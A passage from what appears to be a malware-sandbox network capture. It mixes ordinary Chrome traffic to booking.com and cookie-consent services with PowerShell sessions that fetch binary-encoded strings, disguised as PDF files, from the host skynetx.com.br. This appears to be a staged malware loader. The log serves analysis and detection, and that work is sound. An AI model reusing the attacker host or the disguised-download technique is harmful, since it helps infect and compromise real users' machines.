2024-11-02 13:00:14 UTC	66	IN	Data Raw: 7b 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 73 74 61 74 65 22 3a 22 54 58 22 2c 22 73 74 61 74 65 4e 61 6d 65 22 3a 22 54 65 78 61 73 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 22 3a 22 4e 41 22 7d Data Ascii: {"country":"US","state":"TX","stateName":"Texas","continent":"NA"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49754	24.152.39.120	443	4592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:14 UTC	157	OUT	GET /license/2/1Execute.pdf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: skynetx.com.br
2024-11-02 13:00:14 UTC	210	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:12 GMT Server: Apache Last-Modified: Wed, 02 Oct 2024 16:29:25 GMT Accept-Ranges: bytes Content-Length: 56 Connection: close Content-Type: application/pdf
2024-11-02 13:00:14 UTC	56	IN	Data Raw: 30 31 30 30 30 31 30 31 30 31 31 31 31 30 30 30 30 31 31 30 30 31 30 31 30 31 31 30 30 30 31 31 30 31 31 31 30 31 30 31 30 31 31 31 30 31 30 30 30 31 31 30 30 31 30 31 Data Ascii: 01000101011110000110010101100011011101010111010001100101

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49757	104.18.86.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:15 UTC	561	OUT	GET /scripttemplates/202408.1.0/otBannerSdk.js HTTP/1.1 Host: cdn.cookielaw.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:15 UTC	907	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:15 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-MD5: cSmNeMyDkvSieWRwSFHuAQ== Last-Modified: Tue, 10 Sep 2024 03:34:09 GMT x-ms-request-id: 6b6641f2-401e-0066-1c0b-2421d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * Age: 20354 Expires: Sun, 03 Nov 2024 07:21:01 GMT Cache-Control: public, max-age=86400 CF-Cache-Status: HIT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 8dc44e7279fb3ab9-DFW
2024-11-02 13:00:15 UTC	462	IN	Data Raw: 37 63 31 35 0d 0a 2f 2a 2a 20 0a 20 2a 20 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 0a 20 2a 20 76 32 30 32 34 30 38 2e 31 2e 30 0a 20 2a 20 62 79 20 4f 6e 65 54 72 75 73 74 20 4c 4c 43 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 78 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 28 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6f 20 69 6e Data Ascii: 7c15/** * onetrust-banner-sdk * v202408.1.0 * by OneTrust LLC * Copyright 2024 */!function(){"use strict";var x=function(e,t){return(x=Object.setPrototypeOf\|\|({__proto__:[]}instanceof Array?function(e,t){e.__proto__=t}:function(e,t){for(var o in
2024-11-02 13:00:15 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 6f 28 29 7b 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 65 7d 78 28 65 2c 74 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 75 6c 6c 3d 3d 3d 74 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 29 3a 28 6f 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 65 77 20 6f 29 7d 76 61 72 20 48 2c 52 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 52 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 3c 6e 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 72 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f Data Ascii: tion o(){this.constructor=e}x(e,t),e.prototype=null===t?Object.create(t):(o.prototype=t.prototype,new o)}var H,R=function(){return(R=Object.assign\|\|function(e){for(var t,o=1,n=arguments.length;o<n;o++)for(var r in t=arguments[o])Object.prototype.hasOwnPro
2024-11-02 13:00:15 UTC	1369	IN	Data Raw: 3e 61 5b 30 5d 26 26 74 5b 31 5d 3c 61 5b 33 5d 29 29 6c 2e 6c 61 62 65 6c 3d 74 5b 31 5d 3b 65 6c 73 65 20 69 66 28 36 3d 3d 3d 74 5b 30 5d 26 26 6c 2e 6c 61 62 65 6c 3c 61 5b 31 5d 29 6c 2e 6c 61 62 65 6c 3d 61 5b 31 5d 2c 61 3d 74 3b 65 6c 73 65 7b 69 66 28 21 28 61 26 26 6c 2e 6c 61 62 65 6c 3c 61 5b 32 5d 29 29 7b 61 5b 32 5d 26 26 6c 2e 6f 70 73 2e 70 6f 70 28 29 2c 6c 2e 74 72 79 73 2e 70 6f 70 28 29 3b 63 6f 6e 74 69 6e 75 65 7d 6c 2e 6c 61 62 65 6c 3d 61 5b 32 5d 2c 6c 2e 6f 70 73 2e 70 75 73 68 28 74 29 7d 7d 74 3d 72 2e 63 61 6c 6c 28 6e 2c 6c 29 7d 63 61 74 63 68 28 65 29 7b 74 3d 5b 36 2c 65 5d 2c 73 3d 30 7d 66 69 6e 61 6c 6c 79 7b 69 3d 61 3d 30 7d 69 66 28 35 26 74 5b 30 5d 29 74 68 72 6f 77 20 74 5b 31 5d 3b 72 65 74 75 72 6e 7b 76 61 6c Data Ascii: >a[0]&&t[1]<a[3]))l.label=t[1];else if(6===t[0]&&l.label<a[1])l.label=a[1],a=t;else{if(!(a&&l.label<a[2])){a[2]&&l.ops.pop(),l.trys.pop();continue}l.label=a[2],l.ops.push(t)}}t=r.call(n,l)}catch(e){t=[6,e],s=0}finally{i=a=0}if(5&t[0])throw t[1];return{val
2024-11-02 13:00:15 UTC	1369	IN	Data Raw: 65 64 20 77 69 74 68 20 69 74 73 65 6c 66 2e 22 29 3b 69 66 28 65 26 26 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 29 29 7b 76 61 72 20 6f 3d 65 2e 74 68 65 6e 3b 69 66 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 7a 29 72 65 74 75 72 6e 20 74 2e 5f 73 74 61 74 65 3d 33 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 76 6f 69 64 20 4a 28 74 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6f 29 72 65 74 75 72 6e 20 76 6f 69 64 20 51 28 28 6e 3d 6f 2c 72 3d 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 61 70 70 6c 79 28 72 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2c 74 29 7d 74 2e 5f 73 74 61 74 65 3d 31 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 4a 28 74 29 7d 63 61 74 63 68 28 Data Ascii: ed with itself.");if(e&&("object"==typeof e\|\|"function"==typeof e)){var o=e.then;if(e instanceof z)return t._state=3,t._value=e,void J(t);if("function"==typeof o)return void Q((n=o,r=e,function(){n.apply(r,arguments)}),t)}t._state=1,t._value=e,J(t)}catch(
2024-11-02 13:00:15 UTC	1369	IN	Data Raw: 74 72 79 7b 69 66 28 65 26 26 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 29 29 7b 76 61 72 20 6e 3d 65 2e 74 68 65 6e 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 29 72 65 74 75 72 6e 20 76 6f 69 64 20 6e 2e 63 61 6c 6c 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 28 6f 2c 65 29 7d 2c 69 29 7d 73 5b 6f 5d 3d 65 2c 30 3d 3d 2d 2d 61 26 26 72 28 73 29 7d 63 61 74 63 68 28 65 29 7b 69 28 65 29 7d 7d 28 65 2c 73 5b 65 5d 29 7d 29 7d 2c 7a 2e 72 65 73 6f 6c 76 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 7a 3f 74 3a 6e Data Ascii: try{if(e&&("object"==typeof e\|\|"function"==typeof e)){var n=e.then;if("function"==typeof n)return void n.call(e,function(e){t(o,e)},i)}s[o]=e,0==--a&&r(s)}catch(e){i(e)}}(e,s[e])})},z.resolve=function(t){return t&&"object"==typeof t&&t.constructor===z?t:n
2024-11-02 13:00:15 UTC	1369	IN	Data Raw: 28 30 3c 3d 61 3f 69 3d 61 3a 28 69 3d 72 2b 61 29 3c 30 26 26 28 69 3d 30 29 3b 69 3c 72 3b 29 7b 69 66 28 65 3d 3d 3d 28 73 3d 6e 5b 69 5d 29 7c 7c 65 21 3d 65 26 26 73 21 3d 73 29 72 65 74 75 72 6e 21 30 3b 69 2b 2b 7d 7d 72 65 74 75 72 6e 21 31 7d 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 7d 2c 5a 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 69 74 45 6e 64 73 57 69 74 68 50 6f 6c 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 64 73 57 69 74 68 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2c 22 65 6e 64 73 57 69 74 68 22 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 Data Ascii: (0<=a?i=a:(i=r+a)<0&&(i=0);i<r;){if(e===(s=n[i])\|\|e!=e&&s!=s)return!0;i++}}return!1},writable:!0,configurable:!0})},Z.prototype.initEndsWithPoly=function(){String.prototype.endsWith\|\|Object.defineProperty(String.prototype,"endsWith",{value:function(e,t){r
2024-11-02 13:00:15 UTC	1369	IN	Data Raw: 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 72 2c 69 29 26 26 28 6f 5b 69 5d 3d 72 5b 69 5d 29 7d 72 65 74 75 72 6e 20 6f 7d 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 7d 2c 5a 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 69 74 41 72 72 61 79 46 69 6c 6c 50 6f 6c 79 66 69 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 69 6c 6c 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2c 22 66 69 6c 6c 22 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 6e 75 6c 6c 3d 3d 74 68 69 73 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 74 68 69 73 20 69 73 20 Data Ascii: e.hasOwnProperty.call(r,i)&&(o[i]=r[i])}return o},writable:!0,configurable:!0})},Z.prototype.initArrayFillPolyfill=function(){Array.prototype.fill\|\|Object.defineProperty(Array.prototype,"fill",{value:function(e){if(null==this)throw new TypeError("this is
2024-11-02 13:00:15 UTC	1369	IN	Data Raw: 3d 33 5d 3d 22 41 63 63 65 70 74 41 6c 6c 22 2c 65 5b 65 2e 52 65 6a 65 63 74 41 6c 6c 3d 34 5d 3d 22 52 65 6a 65 63 74 41 6c 6c 22 2c 65 5b 65 2e 42 61 6e 6e 65 72 53 61 76 65 53 65 74 74 69 6e 67 73 3d 35 5d 3d 22 42 61 6e 6e 65 72 53 61 76 65 53 65 74 74 69 6e 67 73 22 2c 65 5b 65 2e 43 6f 6e 74 69 6e 75 65 57 69 74 68 6f 75 74 41 63 63 65 70 74 69 6e 67 42 75 74 74 6f 6e 3d 36 5d 3d 22 43 6f 6e 74 69 6e 75 65 57 69 74 68 6f 75 74 41 63 63 65 70 74 69 6e 67 42 75 74 74 6f 6e 22 2c 28 65 3d 65 65 3d 65 65 7c 7c 7b 7d 29 5b 65 2e 42 61 6e 6e 65 72 3d 31 5d 3d 22 42 61 6e 6e 65 72 22 2c 65 5b 65 2e 50 43 3d 32 5d 3d 22 50 43 22 2c 65 5b 65 2e 41 50 49 3d 33 5d 3d 22 41 50 49 22 2c 28 65 3d 74 65 3d 74 65 7c 7c 7b 7d 29 2e 41 63 63 65 70 74 41 6c 6c 3d 22 Data Ascii: =3]="AcceptAll",e[e.RejectAll=4]="RejectAll",e[e.BannerSaveSettings=5]="BannerSaveSettings",e[e.ContinueWithoutAcceptingButton=6]="ContinueWithoutAcceptingButton",(e=ee=ee\|\|{})[e.Banner=1]="Banner",e[e.PC=2]="PC",e[e.API=3]="API",(e=te=te\|\|{}).AcceptAll="
2024-11-02 13:00:15 UTC	1369	IN	Data Raw: 65 5b 65 5b 22 42 61 6e 6e 65 72 20 2d 20 43 6c 6f 73 65 22 5d 3d 33 5d 3d 22 42 61 6e 6e 65 72 20 2d 20 43 6c 6f 73 65 22 2c 65 5b 65 5b 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 41 6c 6c 6f 77 20 41 6c 6c 22 5d 3d 34 5d 3d 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 41 6c 6c 6f 77 20 41 6c 6c 22 2c 65 5b 65 5b 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 52 65 6a 65 63 74 20 41 6c 6c 22 5d 3d 35 5d 3d 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 52 65 6a 65 63 74 20 41 6c 6c 22 2c 65 5b 65 5b 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 43 6f 6e 66 69 72 6d 22 5d 3d 36 5d 3d 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 43 6f 6e 66 69 72 6d 22 Data Ascii: e[e["Banner - Close"]=3]="Banner - Close",e[e["Preference Center - Allow All"]=4]="Preference Center - Allow All",e[e["Preference Center - Reject All"]=5]="Preference Center - Reject All",e[e["Preference Center - Confirm"]=6]="Preference Center - Confirm"
2024-11-02 13:00:15 UTC	1369	IN	Data Raw: 74 6f 72 61 67 65 22 2c 65 2e 61 64 5f 75 73 65 72 5f 64 61 74 61 3d 22 61 64 5f 75 73 65 72 5f 64 61 74 61 22 2c 65 2e 61 64 5f 70 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 3d 22 61 64 5f 70 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 2c 65 2e 72 65 67 69 6f 6e 3d 22 72 65 67 69 6f 6e 22 2c 65 2e 77 61 69 74 5f 66 6f 72 5f 75 70 64 61 74 65 3d 22 77 61 69 74 5f 66 6f 72 5f 75 70 64 61 74 65 22 2c 28 65 3d 41 65 3d 41 65 7c 7c 7b 7d 29 2e 67 72 61 6e 74 65 64 3d 22 67 72 61 6e 74 65 64 22 2c 65 2e 64 65 6e 69 65 64 3d 22 64 65 6e 69 65 64 22 2c 30 2c 28 65 3d 49 65 3d 49 65 7c 7c 7b 7d 29 2e 4f 42 4a 45 43 54 5f 54 4f 5f 4c 49 3d 22 4f 62 6a 65 63 74 54 6f 4c 49 22 2c 65 2e 4c 49 5f 41 43 54 49 56 45 5f 49 46 5f 4c 45 47 41 4c 5f 42 41 53 49 53 3d 22 4c Data Ascii: torage",e.ad_user_data="ad_user_data",e.ad_personalization="ad_personalization",e.region="region",e.wait_for_update="wait_for_update",(e=Ae=Ae\|\|{}).granted="granted",e.denied="denied",0,(e=Ie=Ie\|\|{}).OBJECT_TO_LI="ObjectToLI",e.LI_ACTIVE_IF_LEGAL_BASIS="L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49758	172.64.155.119	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:15 UTC	380	OUT	GET /cookieconsentpub/v1/geo/location HTTP/1.1 Host: geolocation.onetrust.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:15 UTC	249	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:15 GMT Content-Type: text/javascript Content-Length: 77 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8dc44e727c79a916-DFW
2024-11-02 13:00:15 UTC	77	IN	Data Raw: 6a 73 6f 6e 46 65 65 64 28 7b 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 73 74 61 74 65 22 3a 22 54 58 22 2c 22 73 74 61 74 65 4e 61 6d 65 22 3a 22 54 65 78 61 73 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 22 3a 22 4e 41 22 7d 29 3b Data Ascii: jsonFeed({"country":"US","state":"TX","stateName":"Texas","continent":"NA"});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49759	24.152.39.120	443	4592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:15 UTC	159	OUT	GET /license/2/1Framework.pdf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: skynetx.com.br
2024-11-02 13:00:16 UTC	211	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:13 GMT Server: Apache Last-Modified: Wed, 02 Oct 2024 16:29:30 GMT Accept-Ranges: bytes Content-Length: 544 Connection: close Content-Type: application/pdf
2024-11-02 13:00:16 UTC	544	IN	Data Raw: 30 31 30 30 30 30 31 31 30 30 31 31 31 30 31 30 30 31 30 31 31 31 30 30 30 31 30 31 30 31 31 31 30 31 31 30 31 30 30 31 30 31 31 30 31 31 31 30 30 31 31 30 30 31 30 30 30 31 31 30 31 31 31 31 30 31 31 31 30 31 31 31 30 31 31 31 30 30 31 31 30 31 30 31 31 31 30 30 30 31 30 30 31 31 30 31 30 31 31 30 31 30 30 31 30 31 31 30 30 30 31 31 30 31 31 31 30 30 31 30 30 31 31 30 31 31 31 31 30 31 31 31 30 30 31 31 30 31 31 30 31 31 31 31 30 31 31 30 30 31 31 30 30 31 31 31 30 31 30 30 30 30 31 30 31 31 31 30 30 31 30 30 31 31 31 30 30 31 30 30 30 31 30 31 30 31 30 31 30 31 30 30 30 31 30 31 31 31 30 30 30 31 30 30 30 31 31 30 30 31 31 31 30 30 31 30 30 31 31 30 30 30 30 31 30 31 31 30 31 31 30 31 30 31 31 30 30 31 30 31 30 31 31 31 30 31 31 31 30 31 31 30 31 31 31 Data Ascii: 010000110011101001011100010101110110100101101110011001000110111101110111011100110101110001001101011010010110001101110010011011110111001101101111011001100111010000101110010011100100010101010100010111000100011001110010011000010110110101100101011101110110111

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49750	18.245.31.53	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:16 UTC	394	OUT	GET /libs/privacy-consent/1.0.0/partner/cookie-banner.min.js HTTP/1.1 Host: www.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:16 UTC	812	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 593 Connection: close Server: nginx Date: Fri, 11 Oct 2024 06:18:01 GMT Last-Modified: Fri, 27 Sep 2024 07:30:26 GMT ETag: "66f65f12-251" Expires: Sun, 10 Nov 2024 06:18:01 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * X-Cache: Hit from cloudfront Via: 1.1 1eee8db55908814c8f0cde754e3bee5a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: 6mA9aou94yzGVkHnBWDCOJVHcfPX1jK-RrPGg1gNP76PezUI3sgq1Q== Age: 1924935
2024-11-02 13:00:16 UTC	593	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 4f 70 74 61 6e 6f 6e 57 72 61 70 70 65 72 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 67 65 74 44 6f 6d 61 69 6e 55 55 49 44 28 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 73 63 72 69 70 74 5b 73 72 63 2a 3d 27 70 72 69 76 61 63 79 2d 63 6f 6e 73 65 6e 74 27 5d 22 29 3b 69 66 28 74 26 26 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 29 29 72 65 74 75 72 6e 20 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 29 2e 74 72 69 6d 28 29 7d 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 67 65 74 44 6f 6d 61 69 6e 55 55 49 44 28 29 2c 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 Data Ascii: function OptanonWrapper(){}function getDomainUUID(){var t=document.querySelector("script[src*='privacy-consent']");if(t&&t.hasAttribute("data-domain-script"))return t.getAttribute("data-domain-script").trim()}!function(){var t=getDomainUUID(),e=document.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49765	108.138.233.92	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:16 UTC	628	OUT	GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1 Host: q-xx.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:16 UTC	799	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 642 Connection: close Server: nginx Date: Fri, 04 Oct 2024 21:10:10 GMT Last-Modified: Mon, 07 Sep 2020 10:40:08 GMT ETag: "5f560e08-282" Expires: Sun, 03 Nov 2024 21:10:10 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * X-Cache: Hit from cloudfront Via: 1.1 4cafceb008e6fb971d9321d02b918f8e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LHR61-P4 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: 69S5EzbNMuToVCtzZ2ACH-bNyTBWaQR3JJW89GUKogkHJlzqJ3I6hQ== Age: 2476206
2024-11-02 13:00:16 UTC	642	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 03 00 00 00 60 dc 09 b5 00 00 00 75 50 4c 54 45 b4 1f 30 3c 39 70 b4 1f 30 97 27 40 ff ff ff b4 1f 30 3c 3a 70 d0 73 7d 54 53 82 ec c7 cb e3 ab b1 61 5f 8b 48 46 79 6d 6b 94 49 46 79 be 3b 49 91 90 ae c2 c2 d2 79 78 9c 85 84 a6 48 47 79 9d 9c b7 aa a9 c0 b6 b5 c9 c7 57 64 f3 f3 f6 db da e4 ce cd db 96 26 40 e7 e7 ed 6d 6b 93 9e 9d b7 ce ce db a1 47 5e b5 b5 c9 9e 9c b8 c0 a4 b4 b7 87 9a ae 6c 81 d6 1f 19 b1 00 00 00 04 74 52 4e 53 df bf bf bf 3b 25 6a 12 00 00 01 b8 49 44 41 54 48 c7 8c d4 61 93 94 30 0c 06 60 d4 f5 35 9a 14 4b 69 41 38 d9 dd bb 53 ff ff 4f b4 79 b9 b9 ce c0 ce 68 3e 3c d3 81 09 34 a4 a1 fb f0 1f f1 e9 63 8b 0e 30 83 87 50 6d eb 76 e5 e7 e7 16 1d fa 69 10 bc 89 69 Data Ascii: PNGIHDR00`uPLTE0<9p0'@0<:ps}TSa_HFymkIFy;IyxHGyWd&@mkG^ltRNS;%jIDATHa0`5KiA8SOyh><4c0Pmvii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49761	18.239.69.6	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:16 UTC	1060	OUT	GET /asset.76f4cfe389ea593cf33909bbcedb7949.js HTTP/1.1 Host: saa.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 